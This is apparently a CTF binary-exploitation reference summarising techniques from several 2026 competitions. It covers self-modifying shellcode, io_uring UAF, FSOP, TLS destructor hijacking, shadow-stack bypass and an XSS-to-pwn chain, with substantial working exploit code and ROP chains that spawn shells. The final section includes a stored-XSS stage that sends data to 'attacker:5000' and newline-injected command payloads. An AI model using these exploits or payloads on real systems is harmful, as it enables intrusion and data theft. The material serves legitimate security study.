# CTF Pwn - Advanced Exploit Techniques (Part 2)

## Table of Contents
- [Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)](#bytecode-validator-bypass-via-self-modification-srdnlenctf-2026)
- [io_uring UAF with SQE Injection (ApoorvCTF 2026)](#io_uring-uaf-with-sqe-injection-apoorvctf-2026)
- [Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)](#integer-truncation-bypass-int32-to-int16-apoorvctf-2026)
- [GC Null-Reference Cascading Corruption (DiceCTF 2026)](#gc-null-reference-cascading-corruption-dicectf-2026)
- [Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)](#leakless-libc-via-multi-fgets-stdout-file-overwrite-midnightflag-2026)
- [Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)](#signedunsigned-char-underflow-to-heap-overflow--tls-destructor-hijack-midnightflag-2026)
  - [XOR Cipher Keystream Brute-Force Write Primitive](#xor-cipher-keystream-brute-force-write-primitive)
  - [Tcache Pointer Decryption for Heap Leak](#tcache-pointer-decryption-for-heap-leak)
  - [Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)](#forging-chunk-size-for-unsorted-bin-promotion-libc-leak)
  - [FSOP Stdout Redirection for TLS Segment Leak](#fsop-stdout-redirection-for-tls-segment-leak)
  - [TLS Destructor Overwrite for RCE via `__call_tls_dtors`](#tls-destructor-overwrite-for-rce-via-__call_tls_dtors)
- [Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)](#custom-shadow-stack-bypass-via-pointer-overflow-midnight-2026)
- [Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)](#signed-int-overflow-to-negative-oob-heap-write--xss-to-binary-pwn-bridge-midnight-2026)
  - [Heap Primitive: Signed Int Overflow in Index Calculation](#heap-primitive-signed-int-overflow-in-index-calculation)
  - [Full Exploitation Chain](#full-exploitation-chain)
  - [XSS-to-Binary Pwn Bridge](#xss-to-binary-pwn-bridge)

---

## Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)

**Pattern (Registered Stack):** Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., `push fs` → `syscall`).

**Key technique:** `push fs` encodes as `0f a0`, and `syscall` as `0f 05`. The validator accepts `push fs`, but at runtime a preceding `push rbx` overwrites the `a0` byte with `05` on the stack, turning it into `syscall`.

**Exploit structure:**
1. Use `pop` instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR)
2. Seed specific stack values for `pop sp` instruction (pivots to controlled location)
3. Place `syscall` gadget disguised as `push fs` with self-modifying byte mutation
4. Use `read(0, stage2_buf, size)` syscall to load stage 2
5. Stage 2 contains interactive shell code

```python
code = []
code += [0x59] * 30              # pop rcx x30 → rsp += 0xf0
code += [0x66, 0x5c]             # pop sp → pivot to seeded value
code += [0x50] * 17              # push rax x17 (adjust stack)
code += [0x66, 0x50]             # push ax
code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = count for read)
code += [0x50] * 66              # push rax x66
code += [0x66, 0x59]             # pop cx
code += [0x53]                   # push rbx → overwrites next byte!
# Following bytes: 0x54 0x5e 0x53 0x5a 0x54 0x0f 0xa0
# After push rbx mutates 0xa0 → 0x05: becomes syscall
code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]
```

**Key insight:** Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., `0f a0` → `0f 05`). Use preceding instructions to write the mutation byte onto the stack/code region.

---

## io_uring UAF with SQE Injection (ApoorvCTF 2026)

**Pattern (Abyss):** Multi-threaded binary with custom slab allocator and io_uring worker thread. A FLUSH operation frees objects but preserves dangling pointers, creating UAF. Type confusion between freed/reallocated objects enables injection of io_uring SQE (Submission Queue Entry) structures.

**Exploitation chain:**
1. Exhaust both slab allocators (fill all slots)
2. Leak PIE base from STATUS response
3. FLUSH frees objects (UAF — pointers remain valid)
4. Allocate different type into freed slots (type confusion via exhausted secondary slab falling back to primary)
5. Write crafted io_uring SQE into reused memory
6. Worker thread submits SQE as-is → `IORING_OP_OPENAT` opens flag file

**io_uring SQE structure for file read:**
```python
import struct

def craft_sqe(pie_base, flag_path_offset=0x6010):
    sqe = bytearray(64)
    struct.pack_into('B', sqe, 0, 0x12)       # opcode = IORING_OP_OPENAT
    struct.pack_into('i', sqe, 4, -100)        # fd = AT_FDCWD
    struct.pack_into('Q', sqe, 16, pie_base + flag_path_offset)  # addr = "/flag.txt"
    return bytes(sqe)
```

**Key insight:** io_uring's kernel-side processing trusts SQE contents from userland shared memory. If an attacker controls the SQE buffer via UAF/type confusion, arbitrary kernel operations (file open, read, write) execute without syscall filtering. XOR-encoded slab freelists add complexity but don't prevent logical UAF when FLUSH clears objects without NULLing all references.

**Detection:** Binary uses `io_uring_setup`/`io_uring_enter` syscalls, custom allocator with FLUSH/cleanup operations, multiple threads sharing memory.

---

## Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)

**Pattern (Archive):** Input validated as int32 (>= 0), then cast to int16_t for bounds check (<= 3). Values 65534-65535 pass the int32 check but become -2/-1 as int16_t, enabling OOB array access.

```python
# Value 65534: int32=65534 (passes >= 0), int16=-2 (passes <= 3)
# ring_array[-2] reads 16 bytes before array → leaks GOT/PIE pointers
payload = str(65534).encode()  # Sends as positive int, server casts to int16
```

**Dynamic fd capture via `xchg rdi, rax`:**

In Docker/socat environments, `open()` may return fd 4+ instead of 3 (extra inherited fds). Hardcoding fd=3 in ORW ROP chains fails.

```python
# Standard ORW fails in Docker:
# open("/flag.txt") → fd=5 (not 3!)
# read(3, buf, size) → reads wrong fd

# Fix: xchg rdi, rax captures open()'s return value dynamically
rop = ROP(libc)
rop.raw(pop_rdi)
rop.raw(flag_str_addr)
rop.raw(pop_rsi)
rop.raw(0)  # O_RDONLY
rop.raw(libc.sym.open)
rop.raw(libc_base + 0x181fe1)  # xchg rdi, rax; cld; ret
# rdi now holds actual fd from open()
rop.raw(pop_rsi)
rop.raw(buf_addr)
rop.raw(pop_rdx_xor_eax)  # pop rdx; xor eax, eax; ret (dual-purpose!)
rop.raw(0x100)  # rdx = size, eax = 0 (SYS_read)
rop.raw(libc.sym.read)  # read(actual_fd, buf, 0x100)
```

**Key insight:** `xchg rdi, rax; cld; ret` is the critical gadget for containerized ORW — it passes `open()`'s actual return value to `read()` without hardcoding the fd number. The `pop rdx; xor eax, eax; ret` gadget serves double duty: sets rdx for read size AND clears eax to 0 (SYS_read syscall number).

---

## GC Null-Reference Cascading Corruption (DiceCTF 2026)

**Pattern (Garden):** Custom stack-based VM with mark-compact GC. GC's `mark_reachable()` follows null references (ref=0) to address 0 of the managed heap (zeroed reserved area), creating a fake 4-byte object. During compaction, `memmove` copies this fake object first, corrupting adjacent real object headers.

**Exploit chain:**
1. **Cascading memmove** — Set up sacrificial array SAC with `entries[0]=0xFFFF`, large array BIG (196 entries) with `entries[195]=0x00040005`, off-heap object OH
   - Null-ref GC corrupts SAC's header to `{0,0}` (length=0)
   - SAC's entry `0xFFFF` cascades into BIG's header → BIG.length = 0xFFFF (OOB!)
   - BIG's entry `0x00040005` cascades into OH's header → OH stays valid

2. **OOB expansion** — Use BIG's OOB write to set OH.obj_size = 0x10000, giving 256KB OOB access on glibc heap

3. **Libc leak** — Create 70+ extra objects so GC's `ctx.objs` allocation exceeds 0x410 bytes → freed to unsorted bin → `main_arena` pointers readable via OH

4. **House of Apple 2 FSOP** — Build fake FILE in OH's data buffer:
```python
# Fake FILE structure
fake_file = flat({
    0x00: b'$0\x00\x00',             # _flags — system("$0") spawns shell
    0x20: p64(0),                      # _IO_write_base = 0
    0x28: p64(1),                      # _IO_write_ptr = 1 (> write_base)
    0x88: p64(heap_lock_addr),         # _lock (valid writable addr)
    0xa0: p64(wide_data_addr),         # _wide_data
    0xc0: p64(1),                      # _mode = 1 (triggers wide path)
    0xd8: p64(io_wfile_jumps),         # vtable = _IO_wfile_jumps
})
# Fake _IO_wide_data
fake_wide = flat({
    0x18: p64(0),                      # _IO_write_base = 0
    0x30: p64(0),                      # _IO_buf_base = 0
    0xe0: p64(fake_wide_vtable_addr),  # _wide_vtable
})
# Fake wide vtable with __doallocate = system
fake_wide_vtable = flat({
    0x68: p64(libc.sym.system),
})
# Overwrite _IO_list_all to point to fake FILE
```

5. **Trigger** — Program exit → `_IO_flush_all` → fake FILE → `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `system("$0")` → shell

**`system("$0")` trick:** `$0` expands to the shell name when run via `system()`. Using `"$0\x00\x00"` as `_flags` means `system(fp)` calls `system("$0")` which spawns a shell.

**Key insight:** Mark-compact GC that follows null references creates controllable corruption. The cascade effect — where one corrupted header causes memmove to misalign subsequent objects — amplifies a small initial corruption into full OOB access. Combined with FSOP, this achieves code execution from a VM-level bug.

**STORE array pattern for VM stack management:** When VM only has DUP/SWAP/DROP/DUP_X1, allocate an array object to hold references (via SET_ELEM_OBJ/GET_ELEM_OBJ), enabling random access to values that would otherwise require complex stack juggling.

---

## Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)

**Pattern (Eyeless):** No direct libc leak available (no format string, no UAF, no unsorted bin). Construct a fake `stdout` FILE structure on BSS via ROP, then call `fflush(stdout)` to leak a GOT entry containing a libc address.

**The null byte problem:** `fgets` appends `\x00` after reading. Libc pointers are 6 bytes + 2 null MSBs (`0x00007f...`). Writing an 8-byte pointer via `fgets` corrupts the byte after it with `\x00`. Directly writing adjacent FILE struct fields is impossible without corruption.

**Multi-fgets solution:** Chain multiple `fgets(addr, 7, stdin)` calls, each writing 7 bytes. The null byte from each `fgets` lands on the next field's null MSB (harmless for libc pointers):

```python
# Build ROP chain that calls fgets multiple times to construct stdout on BSS
# Each call writes 7 bytes; null byte falls on canonical address's 0x00 MSB
FAKE_STDOUT = BSS + 0x800

# Write _flags field
rop += fgets_call(FAKE_STDOUT, 7)      # write 0xfbad2087 + padding
# Write _IO_write_base = GOT address (the value to leak)
rop += fgets_call(FAKE_STDOUT + 0x20, 7)  # write &fflush@GOT
# Write _IO_write_end = GOT address + 8 (controls how many bytes leak)
rop += fgets_call(FAKE_STDOUT + 0x28, 7)  # write &fflush@GOT + 8
# ... (zero-fill remaining fields via earlier memset or BSS zeroes)

# Overwrite stdout pointer and flush
rop += flat(POP_RDI, FAKE_STDOUT)
rop += flat(elf.plt['fflush'])  # fflush(fake_stdout) → writes GOT content
```

**Receiving the leak:**
```python
# fflush writes 8 bytes from _IO_write_base to _IO_write_end
leak = u64(p.recv(8))
libc_base = leak - libc.sym.fflush
```

**Key insight:** `fgets` always appends `\x00`, but libc addresses already end with `\x00\x00` in their two MSBs. Writing in 7-byte chunks means the appended null overwrites a byte that is already null. This enables constructing complex structures (FILE, vtables) in BSS without a prior libc leak.

**When to use:** Binary has `fgets` or similar input function in PLT, a writable BSS/data region, but no existing leak primitive. Requires ROP control (stack pivot) to chain the multiple `fgets` calls.

---

## Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)

**Pattern (heapn⊕te-ic):** Message structure stores size as `signed char` but encryption/display casts to `unsigned char`. Passing `size = -112` stores as `char(-112)`, but `(unsigned char)(-112) = 144`. With a 127-byte buffer, this gives a 17-byte heap overflow.

**Key insight:** The signed/unsigned char mismatch is a single-byte integer type — unlike int32→int16 truncation, this exploits the implicit promotion from `char` to `unsigned char` in C, common when size fields use `char` instead of `size_t`.

### XOR Cipher Keystream Brute-Force Write Primitive

The challenge uses a deterministic XOR cipher with djb2 hash chain as keystream:

```python
def hash_string(s):
    h = 5381
    for c in s:
        h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
    return h

def get_keystream_byte(seed, x):
    h = hash_string(str(seed).encode())
    for _ in range(x // 8):
        h = hash_string(str(h).encode())
    return p64(h)[x % 8]

def brute_seed(x, target_byte):
    for seed in range(0xFFFFFFFF):
        if get_keystream_byte(seed, x) == target_byte:
            return seed
```

**Key insight:** Deterministic keystream from a brute-forceable seed space enables targeted byte writes via XOR. Each byte position requires finding a seed that produces the desired keystream byte, then XORing with plaintext to write exactly that byte.

**Byte-by-byte write primitive:**
```python
def write_byte(pos, target_byte, idx, leak=False):
    add(underflow(pos), b"A", brute_seed(pos, target_byte))
    if leak:
        data = view(idx)
    delete(idx)
    add(underflow(pos+1), b"A", brute_seed(pos, target_byte))
    delete(idx)
    return data

def overflow_write(offset, payload, idx):
    for i, byte in enumerate(payload):
        write_byte(offset + i, byte, idx)
```

### Tcache Pointer Decryption for Heap Leak

Allocate two chunks, free in LIFO order. The mangled tcache `fd` pointer (glibc 2.32+ safe-linking) stored in the freed chunk can be decoded:

```python
# fd is mangled: fd = ptr ^ (chunk_addr >> 12)
# When first tcache entry points to NULL (second free):
# fd = 0 ^ (chunk_addr >> 12) = chunk_addr >> 12
# Shift left to recover: heap_addr = fd_pointer << 12
heap_leak = u64(leaked_fd) << 12
```

**Key insight:** The first entry in a tcache bin has `fd = NULL ^ (addr >> 12)`, so `fd << 12` directly yields the heap base region. No brute-force needed.

### Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)

To get a libc leak from tcache-sized chunks, forge the next chunk's size header to ≥0x420 (minimum for unsorted bin):

```python
# Overwrite adjacent chunk's size field to 0x431
overflow_write(size_offset, p64(0x431), chunk_idx)
# Ensure fake next_chunk passes: next_chunk.size & PREV_INUSE set
# next_chunk + 0x431 must point to a region with valid size field
# Free the forged chunk → pushed to unsorted bin
# fd/bk now point to main_arena+96
libc_base = u64(leaked_fd) - 0x203b20  # offset to main_arena+96
```

**Key insight:** Any chunk can be promoted to unsorted bin by forging its size ≥0x420. The consistency check requires that `chunk_at_offset(p, size)->size` has `PREV_INUSE` set and is reasonable. Pre-place valid metadata at that boundary.

### FSOP Stdout Redirection for TLS Segment Leak

Tcache poison toward `_IO_2_1_stdout_ - 0x20` to craft a fake FILE structure that leaks the TLS segment address:

```python
# Poison tcache to allocate at _IO_2_1_stdout_ - 0x20
# Craft fake FILE with _IO_write_base pointing to TLS area
# When stdout flushes, it writes from _IO_write_base to _IO_write_ptr
# Scan output for address ending in 0x...740 (TLS alignment pattern)
# TLS mangle cookie is at tls_addr + 0x30
```

**Key insight:** Redirecting `_IO_write_base` of stdout leaks arbitrary memory on the next write. TLS addresses have recognizable alignment patterns — scan the leaked data for them.

### TLS Destructor Overwrite for RCE via `__call_tls_dtors`

The TLS destructor list (`__tls_dtor_list`) contains entries with function pointers mangled using the pointer guard (stored in TLS). Overwriting this list with crafted entries achieves RCE:

```python
def rol(val, bits, width=64):
    return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)

# Mangle function pointers with leaked pointer guard
pointer_guard = tls_leak  # from stdout FSOP leak
encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)

# Craft TLS destructor list node
# struct dtor_list { dtor_func func; void *obj; struct dtor_list *next; }
node1 = p64(0) * 2           # padding
node1 += p64(0x111)          # fake chunk size
node1 += p64(encoded_setuid) # func = setuid(0)
node1 += p64(0)              # obj = 0 (root)
node1 += p64(heap_addr + node2_offset) * 2  # next → node2

node2 = p64(encoded_system)  # func = system("/bin/sh")
node2 += p64(binsh_addr)     # obj = "/bin/sh"
node2 += p64(0)              # next = NULL (end of list)
```

**Full chain:** integer underflow → heap overflow → tcache leak → unsorted bin libc leak → FSOP stdout TLS leak → pointer guard recovery → `__call_tls_dtors` hijack → `setuid(0)` + `system("/bin/sh")`.

**Key insight:** `__call_tls_dtors` iterates a singly-linked list calling `PTR_DEMANGLE(func)(obj)` for each entry. Demangling is `ror(val, 0x11) ^ pointer_guard`. To encode: `rol(target ^ pointer_guard, 0x11)`. The pointer guard lives in TLS at a fixed offset — once leaked via FSOP stdout, the entire list is forgeable.

**When to use:** Modern glibc (2.34+) where `__free_hook`/`__malloc_hook` are removed and FSOP via `_IO_wfile_jumps` (House of Apple 2) is blocked or constrained. TLS destructor overwrite is an alternative exit-time code execution path.

---

## Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)

**Pattern (Revenant):** Binary implements a userland shadow stack in `.bss` — each function call pushes the return address to both the hardware stack and a `shadow_stack[]` array, validating them on return. The `shadow_stack_ptr` index increments on every call but is **never bounds-checked**, allowing it to overflow past the array into adjacent `.bss` variables.

**Binary protections:**
- Full RELRO, NX enabled, **PIE disabled** (fixed addresses)
- SHSTK and IBT enabled (Intel CET — hardware shadow stack)
- No stack canary

**`.bss` memory layout:**
```text
0x406000: shadow_stack[512]   (512 × 8 = 4096 bytes)
0x407000: username[16]        (user-controlled via input)
0x407040: shadow_stack_ptr    (index into shadow_stack)
0x407048: shadow_stack_base
```

**Exploitation strategy:**
1. Trigger controlled recursion (e.g., `do_reset()` → `play()` loop) to increment `shadow_stack_ptr` exactly 512 times
2. After 512 iterations, `shadow_stack_ptr` points to `username` (user-controlled buffer)
3. Write the `win()` address into `username` via normal input
4. Overflow the stack buffer to overwrite the hardware return address with `win()`
5. On return, both shadow stack and hardware stack contain `win()` — validation passes

**Exploit code (pwntools):**
```python
from pwn import *

exe = ELF('./revenant')
io = process('./revenant')

# Calculate iterations needed to overflow shadow_stack_ptr to username
shadow_stack_addr = exe.symbols["shadow_stack"]
username_addr = exe.symbols["username"]
iterations = (username_addr - shadow_stack_addr) // 8  # 512

# Step 1: Write win() address into username buffer
name = fit(exe.symbols["win"])

# Step 2: Recurse 512 times to advance shadow_stack_ptr to username
for i in range(iterations):
    io.sendlineafter(b"Survivor name:\n", name)
    io.sendlineafter(b"[0] Flee", b"4")  # Trigger do_reset() -> play()

# Step 3: Overflow stack buffer with win() address
padding = 56  # offset to return address (32-byte buf + 24 bytes)
payload = fit({padding: exe.symbols["win"]})
io.sendlineafter(b"(0-255):\n", payload)

io.interactive()
```

**Key insight:** Userland shadow stack implementations that lack bounds checking on the stack pointer are vulnerable to pointer overflow. By recursing enough times, the validation pointer advances past the shadow stack array into adjacent user-controlled memory (e.g., a username buffer). Writing the desired return address there makes the shadow stack check pass, defeating the protection entirely. The required iteration count is `(target_addr - shadow_stack_base) / pointer_size`.

**Detection pattern:** Look for:
- `.bss` arrays used as shadow stacks (paired push/pop with function calls)
- Missing bounds check on the index variable
- User-writable `.bss` variables adjacent to (above) the shadow stack array
- Recursive function calls controllable from user input

---

## Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)

**Pattern (Canvas of Fear):** Web application wraps a native binary (`canvas_manager`) behind a Flask API, with admin endpoints restricted to `127.0.0.1`. The binary manages "canvases" (heap-allocated pixel arrays) with a pixel SET command that computes a 2D index as `y * width + x` using a **signed 32-bit int**. Supplying large `y` values overflows the multiplication to a negative result, passing the bounds check (`index < width * height`) while accessing memory **before** the data buffer — a negative OOB heap write primitive.

**Three-layer exploit chain:**
1. **Stored XSS** (Flask `|safe` Jinja filter) → admin bot executes JS at `127.0.0.1`
2. **XSS payloads call admin API** (Fetch API) → triggers binary commands
3. **Integer overflow → heap corruption → libc/stack leak → ROP chain**

### Heap Primitive: Signed Int Overflow in Index Calculation

The pixel index formula `y * width + x` wraps in 32-bit signed arithmetic:
```python
# For a 50x50 canvas: (8589934591 * 50 + 42) as int32 = -8
# After ×3 for RGB byte offset: -24 bytes before the data buffer
# This overwrites the canvas struct's height field (preceding the data on heap)
cmd(b'SET 1 42 8589934591 0x340000')  # overwrite height: 0x32 → 0x34
```

**Key insight:** The bounds check `index < width * height` uses signed comparison, so a negative overflow result always passes. This turns a single pixel SET into a backward OOB write into heap metadata or adjacent chunk headers.

### Full Exploitation Chain

```python
from pwn import *

# Step 1: Create canvases — canvas 3 acts as consolidation blocker
cmd(b'CREATE 1 50 50')   # large canvas (target for OOB write)
cmd(b'CREATE 2 20 20')   # victim (will be freed for unsorted bin leak)
cmd(b'CREATE 3 20 20')   # pivot (data pointer will be overwritten)

# Step 2: Free canvas 2 → unsorted bin puts libc pointers on heap
cmd(b'DELETE 2')

# Step 3: Overflow canvas 1's height field (0x32 → 0x34)
cmd(b'SET 1 42 8589934591 0x340000')

# Step 4: Read canvas 1 (now oversized) to leak heap + libc from freed chunk
cmd(b'GET 1')
# Parse RGB output: skip to offset 2507, extract fd/bk pointers
# heap_base = unpack(data[2:10]) << 12
# libc.address = unpack(data[34:42]) - 0x1edcc0

# Step 5: Remove size limit for full OOB write
cmd(b'SET 1 42 8589934591 0xffffff')

# Step 6: Overwrite canvas 3's data pointer → libc.sym['environ']
# Offset 0x2250 bytes from canvas 1's data to canvas 3's pointer field
target = unpack(pack(libc.sym["environ"]), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())

# Step 7: Read canvas 3 → reads *environ → stack leak
cmd(b'GET 3')
# main_ret = stack_leak - 0x140

# Step 8: Redirect canvas 3 pointer → main's return address on stack
target = unpack(pack(main_ret), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())

# Step 9: Write ROP chain via canvas 3 (3 bytes per pixel = per SET)
pop_rdi = libc.address + 0x2d7a2
ret = libc.address + 0x2c495
binsh = next(libc.search(b'/bin/sh\x00'))
payload = flat({0: [pop_rdi, binsh, ret, libc.sym["system"]]})
for i in range(0, len(payload), 3):
    block = unpack(payload[i:i+3][::-1].ljust(8, b'\x00')) & 0xffffff
    cmd(f'SET 3 {i//3} 0 0x{block:06x}'.encode())

# Step 10: EXIT triggers main() return → ROP chain executes
cmd(b'EXIT')
```

### XSS-to-Binary Pwn Bridge

When the binary is behind a web API with admin-only endpoints:

1. **Stored XSS via Flask `|safe`:** User messages rendered with `{{ msg.content | safe }}` bypass Jinja autoescaping. Submit `<script type="module">...</script>` via the public message endpoint
2. **Admin bot visits `/admin/messages`** from `127.0.0.1` → XSS executes
3. **Multi-stage payloads:** Each XSS stage calls admin API endpoints via `fetch()`, exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:
   ```javascript
   // Stage 1: trigger heap commands, exfiltrate leak
   var res = await fetch("/api/canvas/get/1");
   var data = await res.json();
   await fetch('http://attacker:5000/', {
       method: 'POST', mode: 'no-cors',
       body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))})
   });
   ```
4. **Newline injection for command stacking:** The API uses `pwntools.sendline()` to forward user input to the binary. Injecting `\n` in a parameter (e.g., `"color": "#000000\nEXIT\n"`) executes multiple binary commands in one request, bypassing the API's EXIT-then-restart logic:
   ```javascript
   // Inject EXIT without triggering restart, then run shell commands
   body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\nEXIT"})
   // Subsequent requests inject shell commands:
   body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\n./read_flag"})
   ```

**Key insight:** The 3-byte RGB pixel value maps naturally to a 24-bit arbitrary write primitive — each SET writes 3 bytes at a controlled offset. Overwriting a canvas's data pointer (via OOB from another canvas) transforms pixel read/write into full arbitrary read/write. The `environ` → stack leak → ROP chain pipeline converts this into RCE. When the binary sits behind a web API, XSS bridges the network boundary and newline injection through `sendline()` enables command stacking.

**Detection pattern:**
- Index computation using signed int multiplication on user-controlled values
- Bounds check using signed comparison (negative values always pass)
- Adjacent heap allocations where metadata/pointers follow data buffers
- Web API that passes user input directly to `process.sendline()` without newline sanitization
- Flask templates with `|safe` filter on user-controlled content
